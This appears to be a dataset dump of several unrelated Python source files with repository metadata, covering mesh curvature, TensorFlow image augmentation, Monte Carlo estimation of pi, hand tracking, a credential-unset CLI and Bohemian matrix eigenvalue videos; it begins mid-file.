start_time\n#\n# print(\"The cubic order algorithm takes (in seconds):\\n\")\n# print(elapsed)\n#\n# #gaussian_filter(gaussian_curv, sigma=1, output=gaussian_curv)\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_cubic_order.png\"))\n# ##########################################################################################################################################\n#\n# ########################################################################################################################################\n# ##### To compare results with the iterative fitting method, please uncomment this block #################################################\n#\n# start_time = timeit.default_timer()\n#\n# gaussian_curv = ISFcurv.CurvatureISF2(mesh.vertices,mesh.faces)[0]\n#\n# elapsed = timeit.default_timer() - start_time\n#\n# print(\"The iterative fitting method takes (in seconds):\\n\")\n# print(elapsed)\n#\n# #gaussian_filter(gaussian_curv, sigma=1, output=gaussian_curv)\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_iterative_fitting.png\"))\n# ##########################################################################################################################################\n# #\n# #########################################################################################################################################\n# ############## To compare results with the method of Meyer, please uncomment this block #################################################\n#\n#\n# start_time = timeit.default_timer()\n#\n# A_mixed, mean_curvature_normal_operator_vector = diffgeo.calc_A_mixed(mesh.vertices, mesh.faces)\n# gaussian_curv = diffgeo.get_gaussian_curvature(mesh.vertices, mesh.faces, A_mixed)\n#\n# elapsed = timeit.default_timer() - start_time\n#\n# print(\"The method of Meyer takes (in seconds):\\n\")\n# print(elapsed)\n#\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_Meyer.png\"))\n# ##########################################################################################################################################\n", "repo_name": "k16makki/Medima_tools", "sub_path": "Gauss_curv_4_Freesurfer_output.py", "file_name": "Gauss_curv_4_Freesurfer_output.py", "file_ext": "py", "file_size_in_byte": 11025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nibabel.gifti.read", "line_number": 34, "usage_type": "call"}, {"api_name": "nibabel.gifti", "line_number": 34, "usage_type": "attribute"}, {"api_name": "nibabel.nifti1", "line_number": 35, "usage_type": "attribute"}, {"api_name": "nibabel.nifti1", "line_number": 36, "usage_type": "attribute"}, {"api_name": "trimesh.Trimesh", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 71, "usage_type": "call"}, {"api_name": "nibabel.load", "line_number": 73, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 80, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.bbox_3D", "line_number": 82, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.phi", "line_number": 87, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.phi_binary", "line_number": 91, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.phi_Euclidean", "line_number": 95, "usage_type": "call"}, {"api_name": "scipy.ndimage.filters.gaussian_filter", "line_number": 98, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.hessian", "line_number": 101, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.hessian_adjoint", "line_number": 102, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.Gaussian_curvature", "line_number": 103, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 114, "usage_type": "attribute"}, {"api_name": "fast_Gaussian_curvature_3D.align_origin", "line_number": 119, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.texture_spline_interpolation3D", "line_number": 125, "usage_type": "call"}, {"api_name": "fast_Gaussian_curvature_3D.align_origin_back", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "fast_Gaussian_curvature_3D.display_mesh", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}]} {"seq_id": "471287135", "text": "import tensorflow as tf\nimport os\nimport cv2\nimport tools\nimport numpy as np\nimport sys\n\n\n####### DATA AUGMENTATION ########\nclass DataAugOpts:\n apply_data_augmentation = False # If false, none of the following options have any effect.\n horizontal_flip = False\n vertical_flip = False\n random_brightness = False\n brightness_prob = 0.5\n brightness_delta_lower = -32\n brightness_delta_upper = 32\n random_contrast = False\n contrast_prob = 0.5\n contrast_factor_lower = 0.5\n contrast_factor_upper = 1.5\n random_saturation = False\n saturation_prob = 0.5\n saturation_factor_lower = 0.5\n saturation_factor_upper = 1.5\n random_hue = False\n hue_prob = 0.5\n hue_delta_lower = -0.1\n hue_delta_upper = 0.1\n rtss_rc = False # Resize To Smallest Side and Random Crop\n smallest_side = 256\n random_crop = False # This options and rtss_rc cannot be chosen at the same time.\n random_crop_proportion = 0.7\n random_crop_prob = 0.2\n rotation_degree = 0\n rotation_prob = 0.5\n convert_to_grayscale_prob = 0\n##################################\n\n\nclass ClassificationDataAugmentation:\n def __init__(self, args, input_width, input_height, bugs_class_id=-1):\n self.input_width = input_width\n self.input_height = input_height\n self.data_aug_opts = args.data_aug_opts\n self.outdir = args.outdir\n self.write_image_after_data_augmentation = args.write_image_after_data_augmentation\n self.bugs_class_id = bugs_class_id\n if args.num_workers > 1 and args.write_image_after_data_augmentation:\n raise Exception('Option write_image_after_data_augmentation is not compatible with more than one worker to load data')\n\n def data_augmenter(self, image, label, filename):\n if self.data_aug_opts.horizontal_flip:\n image = tf.image.random_flip_left_right(image)\n if self.data_aug_opts.vertical_flip:\n image = tf.image.random_flip_up_down(image)\n if self.data_aug_opts.random_brightness:\n image = random_adjust_brightness(image, self.data_aug_opts.brightness_delta_lower,\n self.data_aug_opts.brightness_delta_upper,\n self.data_aug_opts.brightness_prob)\n if self.data_aug_opts.random_contrast:\n image = random_adjust_contrast(image, self.data_aug_opts.contrast_factor_lower,\n self.data_aug_opts.contrast_factor_upper,\n self.data_aug_opts.contrast_prob)\n if self.data_aug_opts.random_saturation:\n image = random_adjust_saturation(image, self.data_aug_opts.saturation_factor_lower,\n self.data_aug_opts.saturation_factor_upper,\n self.data_aug_opts.saturation_prob)\n if self.data_aug_opts.random_hue:\n image = random_adjust_hue(image, self.data_aug_opts.hue_delta_lower,\n self.data_aug_opts.hue_delta_upper,\n self.data_aug_opts.hue_prob)\n if self.data_aug_opts.convert_to_grayscale_prob > 0:\n image = convert_to_grayscale(image, self.data_aug_opts.convert_to_grayscale_prob)\n if self.data_aug_opts.rotation_degree != 0:\n image = self.rotate(image, self.data_aug_opts.rotation_prob)\n if self.data_aug_opts.rtss_rc:\n image = self.rtss_rc(image)\n elif self.data_aug_opts.random_crop:\n image = random_crop(image, self.data_aug_opts.random_crop_proportion, self.data_aug_opts.random_crop_prob)\n if self.write_image_after_data_augmentation:\n image = tf.py_func(self.write_image, [image, filename], tf.float32)\n image.set_shape((None, None, 3))\n return image, label, filename\n\n def rotate(self, image, prob):\n flag = tf.random_uniform(()) < prob\n radians = self.data_aug_opts.rotation_degree / 360.0 * 2.0 * np.pi\n angle = tf.random_uniform(shape=(), minval=-radians, maxval=radians)\n image_rotated = tf.contrib.image.rotate(image, angle, interpolation='BILINEAR')\n image = tf.cond(flag, lambda: image_rotated, lambda: image)\n return image\n\n # Resize To Smallest Side and Random Crop\n def rtss_rc(self, image):\n height, width = tf.shape(image)[0], tf.shape(image)[1]\n height = tf.to_float(height)\n width = tf.to_float(width)\n scale = tf.cond(tf.greater(height, width),\n lambda: self.data_aug_opts.smallest_side / width,\n lambda: self.data_aug_opts.smallest_side / height)\n new_height = tf.to_int32(height * scale)\n new_width = tf.to_int32(width * scale)\n image = tf.image.resize_images(image, [new_height, new_width])\n image = tf.random_crop(image, [self.input_width, self.input_height, 3])\n return image\n\n def write_image(self, image, file_path):\n file_path_str = file_path.decode(sys.getdefaultencoding())\n file_name = os.path.basename(file_path_str)\n raw_name = os.path.splitext(file_name)[0]\n file_path_candidate = os.path.join(self.outdir, 'image_after_data_aug_' + raw_name + '.png')\n file_path = tools.ensure_new_path(file_path_candidate)\n print('path to save image: ' + file_path)\n # print(str(np.min(image)) + ' ' + str(np.mean(image)) + ' ' + str(np.max(image)))\n img = image.copy()\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n cv2.imwrite(file_path, img)\n return image\n\n\ndef random_crop(image, min_proportion, prob):\n proportion = tf.random_uniform(shape=(), minval=min_proportion, maxval=1)\n # proportion = tf.Print(proportion, [proportion], 'proportion')\n proportion_vec = tf.stack([proportion, proportion, tf.ones(shape=(), dtype=tf.float32)], axis=0)\n original_size = tf.shape(image)\n # original_size = tf.Print(original_size, [original_size], 'original_size')\n new_size = tf.cast(tf.round(tf.cast(original_size, tf.float32) * proportion_vec), tf.int32)\n # new_size = tf.Print(new_size, [new_size], 'new_size')\n crop = tf.random_crop(image, new_size)\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: crop, lambda: tf.identity(image))\n return image\n\n\ndef adjust_contrast(image, factor):\n image = tf.clip_by_value(127.5 + factor * (image - 127.5), 0, 255)\n return image\n\ndef random_adjust_contrast(image, factor_lower, factor_upper, prob):\n factor = tf.random_uniform(shape=(), minval=factor_lower, maxval=factor_upper)\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: adjust_contrast(image, factor), lambda: image)\n return image\n\ndef adjust_brightness(image, brightness_delta):\n image = tf.clip_by_value(tf.image.adjust_brightness(image, brightness_delta), 0, 255)\n return image\n\ndef random_adjust_brightness(image, delta_lower, delta_upper, prob):\n delta_brightness = tf.random_uniform(shape=(), minval=delta_lower, maxval=delta_upper)\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: adjust_brightness(image, delta_brightness), lambda: image)\n return image\n\ndef random_adjust_saturation(image, factor_lower, factor_upper, prob):\n factor = tf.random_uniform(shape=(), minval=factor_lower, maxval=factor_upper)\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: tf.image.adjust_saturation(image, factor), lambda: image)\n return image\n\ndef random_adjust_hue(image, delta_lower, delta_upper, prob):\n delta_hue = tf.random_uniform(shape=(), minval=delta_lower, maxval=delta_upper)\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: tf.image.adjust_hue(image, delta_hue), lambda: image)\n return image\n\ndef convert_to_grayscale(image, prob):\n image_gray = tf.tile(tf.image.rgb_to_grayscale(image), [1, 1, 3])\n flag = tf.random_uniform(()) < prob\n image = tf.cond(flag, lambda: image_gray, lambda: image)\n return image", "repo_name": "xianlopez/classif_nets", "sub_path": "DataAugmentation.py", "file_name": "DataAugmentation.py", "file_ext": "py", "file_size_in_byte": 8106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tensorflow.image.random_flip_left_right", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tensorflow.image.random_flip_up_down", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.py_func", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.contrib.image.rotate", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.cond", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.to_int32", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.to_int32", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.image.resize_images", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 104, "usage_type": "attribute"}, {"api_name": "tensorflow.random_crop", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.getdefaultencoding", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "tools.ensure_new_path", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 117, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.stack", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.ones", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 125, "usage_type": "attribute"}, {"api_name": "tensorflow.shape", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.round", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tensorflow.random_crop", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.identity", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.image.adjust_brightness", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 147, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.image.adjust_saturation", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.image.adjust_hue", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 165, "usage_type": "attribute"}, {"api_name": "tensorflow.tile", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.image.rgb_to_grayscale", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 171, "usage_type": "call"}]} {"seq_id": "24012851671", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndef coord_aleat(N_coord):\n x_coord = 2*(np.random.rand(N_coord))-1\n y_coord = 2*(np.random.rand(N_coord))-1\n return x_coord, y_coord\n\ndef pi_calc(N,r):\n a = r #radius\n x, y = coord_aleat(N) # llamar la función para crear coordinadas aleatorias\n pos = [(x**2 + y**2 - a**2) <= 0] # puntos que están dentro del círculo\n pts_i = np.sum(pos) # sumar la cantidad de puntos\n PN = (pts_i/N) # probabilidad de que los puntos estén adentro\n error = PN - (np.pi/4) # el error de la probabilidad calculada\n return error\n\nN_datos = np.logspace(1,6,500) # creo una lista con la cantidad de datos que voy a tomar\nPN_a = [] # arreglo vacío para guardar los datos de error\nradius = 1.0 # radio del círculo\n\nfor i in N_datos:\n err = pi_calc(int(i),radius) # llamar la función para calcular pi y guardar el valor del error\n PN_a.append(err) # agregar el error al arreglo\n \nplt.semilogx(N_datos,PN_a)\nplt.grid(True) \nplt.xlabel(\"N - número de puntos\")\nplt.ylabel(\" $P(N) - \\pi/4$ \")\n", "repo_name": "drodriguez32/Herramientas-Computacionales", "sub_path": "00-Introduccion/Calcular_Pi_scripts/Calcular_Pi_ANDRES.py", "file_name": "Calcular_Pi_ANDRES.py", "file_ext": "py", "file_size_in_byte": 1071, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.random.rand", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 5, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.logspace", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.semilogx", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}]} {"seq_id": "15302774389", "text": "import handTrackingmodule as htm\r\nimport cv2\r\nimport time\r\nimport os\r\n\r\nwCam, hCam = 640, 480\r\ncap = cv2.VideoCapture(1)\r\ncap.set(3, wCam)\r\ncap.set(4, hCam)\r\nfolderPath = \"FingerImages\"\r\nmyList = os.listdir(folderPath)\r\nprint(myList)\r\noverlayList = []\r\n\r\nfor imPath in myList:\r\n image = cv2.imread(f'{folderPath}/{imPath}')\r\n # print(f'{folderPath}/{imPath}')\r\n overlayList.append(image)\r\n\r\nprint(len(overlayList))\r\npTime = 0\r\ndetector = htm.handDetector(detectionCon=0.75)\r\ntipIds = [4, 8, 12, 16, 20]\r\n\r\nwhile True:\r\n success, img = cv2.VideoCapture(1).read()\r\n print(img.shape)\r\n", "repo_name": "Navap-netizen/HandTracking", "sub_path": "deletethisfile.py", "file_name": "deletethisfile.py", "file_ext": "py", "file_size_in_byte": 597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.VideoCapture", "line_number": 7, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "handTrackingmodule.handDetector", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 26, "usage_type": "call"}]} {"seq_id": "40740646261", "text": "import logging\nimport sys\n\nimport click\n\nfrom . import DEFAULT_CONTEXT_SETTINGS\nfrom ..pycred import PyCred\n\nlogger = logging.getLogger('unset')\nlogger.addHandler(logging.NullHandler())\n\n_pycred = PyCred()\n_stores = _pycred.get_store_names()\n\n\n@click.command('unset', context_settings=DEFAULT_CONTEXT_SETTINGS)\n@click.option('--user', '-u', help='User', default=_pycred.get_default_user(), show_default=True)\n@click.argument('store', nargs=1, required=True, type=click.Choice(_stores))\n@click.pass_context\ndef unset_credentials(ctx, user, store):\n \"\"\"\n Unset credentials for the USER in STORE.\n\n Alternative user can be specified with --user/-u. Defaults to the current user.\n \"\"\"\n try:\n logger.debug(\"store={store}, user={user}\".format(store=store, user=user))\n _pycred.unset_credentials(store, user)\n except Exception as e:\n logger.debug(e, exc_info=True)\n print('Error: {msg}'.format(msg=str(e)), file=sys.stderr)\n sys.exit(1)\n", "repo_name": "devconsoft/pycred", "sub_path": "pycred/ui/unset.py", "file_name": "unset.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.NullHandler", "line_number": 10, "usage_type": "call"}, {"api_name": "pycred.PyCred", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 32, "usage_type": "call"}, {"api_name": "click.command", "line_number": 16, "usage_type": "call"}, {"api_name": "click.option", "line_number": 17, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 18, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 18, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 19, "usage_type": "attribute"}]} {"seq_id": "8512482775", "text": "import cv2\nimport numpy as np\nfrom os.path import isfile, join\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cProfile\nfrom joblib import Parallel, delayed, cpu_count\n\n\n\ndef sample_from_unit_circle():\n \"\"\"\n Sample a complex number from the unit circle.\n \"\"\"\n angle = np.random.uniform(0, 2*np.pi)\n return np.exp(1j * angle)\n\ndef interpolate_matrices(matrix_0, matrix_1, alpha):\n interpolated_matrix = (1 - alpha) * matrix_0 + alpha * matrix_1\n return interpolated_matrix\n\ndef sample_from_interpolated_matrix(interpolated_matrix):\n t1 = sample_from_unit_circle()\n t2 = sample_from_unit_circle()\n interpolated_matrix[0, 0] = t1\n interpolated_matrix[3, 3] = t2\n return interpolated_matrix\n\ndef compute_eigenvalues(interpolated_matrix):\n interpolated_matrix = sample_from_interpolated_matrix(interpolated_matrix)\n eigenvalues = np.linalg.eigvals(interpolated_matrix)\n return eigenvalues\n\ndef plot_eigenvalues(matrix, eigenvalues_list, fig, ax, frames,i, desired_shape=(7680, 4320)):\n ax.clear()\n ax.axis('off') \n # for eigenvalues in eigenvalues_list:\n all_eigenvalues = np.array(eigenvalues_list)\n ax.scatter(all_eigenvalues.real, all_eigenvalues.imag, marker='.', s=0.09, color='red')\n ax.set_xlim([-3, 3]) \n ax.set_ylim([-3, 3]) \n ax.set_xticks([]) \n ax.set_yticks([]) \n ax.grid(False) \n \n \n\n \n # Create an inset to display the matrix\n inset_ax = fig.add_axes([0.75, 0.75, 0.2, 0.2]) # Adjust the position and size as needed\n inset_ax.matshow(np.abs(matrix), cmap='viridis') # Use the absolute values of the matrix\n inset_ax.set_xticks([])\n inset_ax.set_yticks([])\n \n \n \n fig.canvas.draw()\n image = np.frombuffer(fig.canvas.tostring_rgb(), dtype=np.uint8)\n \n \n \n # Determine the shape based on the size of the image data\n height = int(image.shape[0] / (3 * desired_shape[0]))\n image = image.reshape((height, desired_shape[0], 3))\n \n # Resize the image to the desired shape\n image = cv2.resize(image, desired_shape)\n cv2.imwrite(f'/Users/lukashondrich/Documents/bohemian_matrix_video/frame_{i}.png', cv2.cvtColor(image, cv2.COLOR_RGB2BGR))\n frames.append(image)\n \n return frames\n \ndef make_frames(size, matrix_0, matrix_1, num_interpolations, num_samples_per_interpolation):\n frames = []\n desired_shape = size # Desired width and height 4k resolution: 3840 x 2160, 8k: 7680 x 4320\n \n \n fig, ax = plt.subplots(figsize= (desired_shape[0] / 100, desired_shape[1] / 100), dpi=50)\n\n for i in range(num_interpolations): \n print(f\"Generating frame {i+1}/{num_interpolations}\")\n import time\n if i>0: \n time_elapsed = time.time() - time_start\n time_start = time.time()\n \n alpha = i / num_interpolations\n \n interpolated_matrix = interpolate_matrices(matrix_0, matrix_1, alpha)\n eigenvalues_list = Parallel(n_jobs=-1)(delayed(compute_eigenvalues)(interpolated_matrix) for _ in range(num_samples_per_interpolation)) \n #print number of cores used:\n print(f\"Number of cores used: {cpu_count()}\")\n \n plot_eigenvalues(interpolated_matrix, eigenvalues_list, fig, ax, frames, i, desired_shape=desired_shape)\n\n print(f\"Number of frames: {len(frames)}\")\n return frames\n \n\ndef make_video(pathOut,fps, size, matrix_array, num_interpolations, num_samples_per_interpolation):\n \"\"\"_summary_\n\n \"\"\"\n # use the matrices as waypoints for the interpolation back to the first matrix\n \n #0 to 1\n frame_array = make_frames(size, matrix_array[0], matrix_array[1], num_interpolations, num_samples_per_interpolation)\n \n if len(matrix_array) > 2: \n #loop through the rest and start with i = 1\n for i in range(1, len(matrix_array)-1):\n frame_array.extend(make_frames(size, matrix_array[i], matrix_array[i+1], num_interpolations, num_samples_per_interpolation))\n\n frame_array.extend(make_frames(size, matrix_array[-1], matrix_array[0], num_interpolations, num_samples_per_interpolation))\n \n \n print(f\"Number of frames: {len(frame_array)}\") \n out = cv2.VideoWriter(pathOut, cv2.VideoWriter_fourcc(*'mp4v'), fps, size)\n \n #out = cv2.VideoWriter(pathOut, cv2.VideoWriter_fourcc(*'H264'), fps, size) \n\n \n for i in range(len(frame_array)):\n #load frame \n #filename = f'/Users/lukashondrich/Documents/bohemian_matrix_video/frame_{i}.png'\n #img = cv2.imread(filename)\n \n ## append from frame_array\n img = frame_array[i]\n \n # writing to image array\n out.write(img)\n print(f\"Writing frame {i+1}/{len(frame_array)}\")\n out.release()\n\n\n\n\n\ndef main():\n pathOut = '/Users/lukashondrich/Documents/bohemian_matrix_video/bohemian.mp4'\n fps = 30.0\n size = (7680, 4320) #(3840, 2160) # (1024, 730)\n matrix_0 = np.array([\n [1, -1, -1j, -1j, -1j],\n [-1, 1, 1j, -1, 1j],\n [1, 1j, 0, 1, 0],\n [-1, -1j, -1, 2, -1],\n [0, 0, 1, 0, 1]\n ])\n\n matrix_1 = np.array([\n [-1, 1, 1, 1j, -1],\n [1, 1, 0, -1, -1j],\n [-1, 1j, 3, -1, 1j],\n [1j, -1, -1, 0, -1],\n [1, 1, 4, 1, -1]\n ]) \n matrix_1 = np.array([\n [0, 1, -1, 8, 0],\n [0, 1, 0, 1, 0],\n [-1, 1, -1, 1, -1],\n [0, 1, 0, 1, 0],\n [0, 1j, -1, 1j, 0]\n ])\n matrix_2= np.array([\n [0, 1, -1, 8, 4],\n [0, 1, 0, 1, 4],\n [-1, 1, -1, 1, -1],\n [0, 1, 0, 1, 4],\n [0, 1j, -1, 1j, 4]\n ])\n \n matrix_array = [matrix_0, matrix_1, matrix_2]\n\n # Profile the function\n profiler = cProfile.Profile()\n profiler.enable()\n make_video(pathOut,fps, size, matrix_array, 30, 3_000)\n profiler.disable()\n profiler.dump_stats('profile_results_parallel.prof')\n #profiler.print_stats(sort='cumulative')\n \n # save profiler output: \n\n\n\n \nif __name__== \"__main__\":\n main()\n \n \n \n", "repo_name": "lukashondrich/sampling_bohemian_matrices", "sub_path": "make_video_of_bohemian_ev_interpolation.py", "file_name": "make_video_of_bohemian_ev_interpolation.py", "file_ext": "py", "file_size_in_byte": 5990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.uniform", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.linalg.eigvals", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 68, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "time.time", "line_number": 84, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, 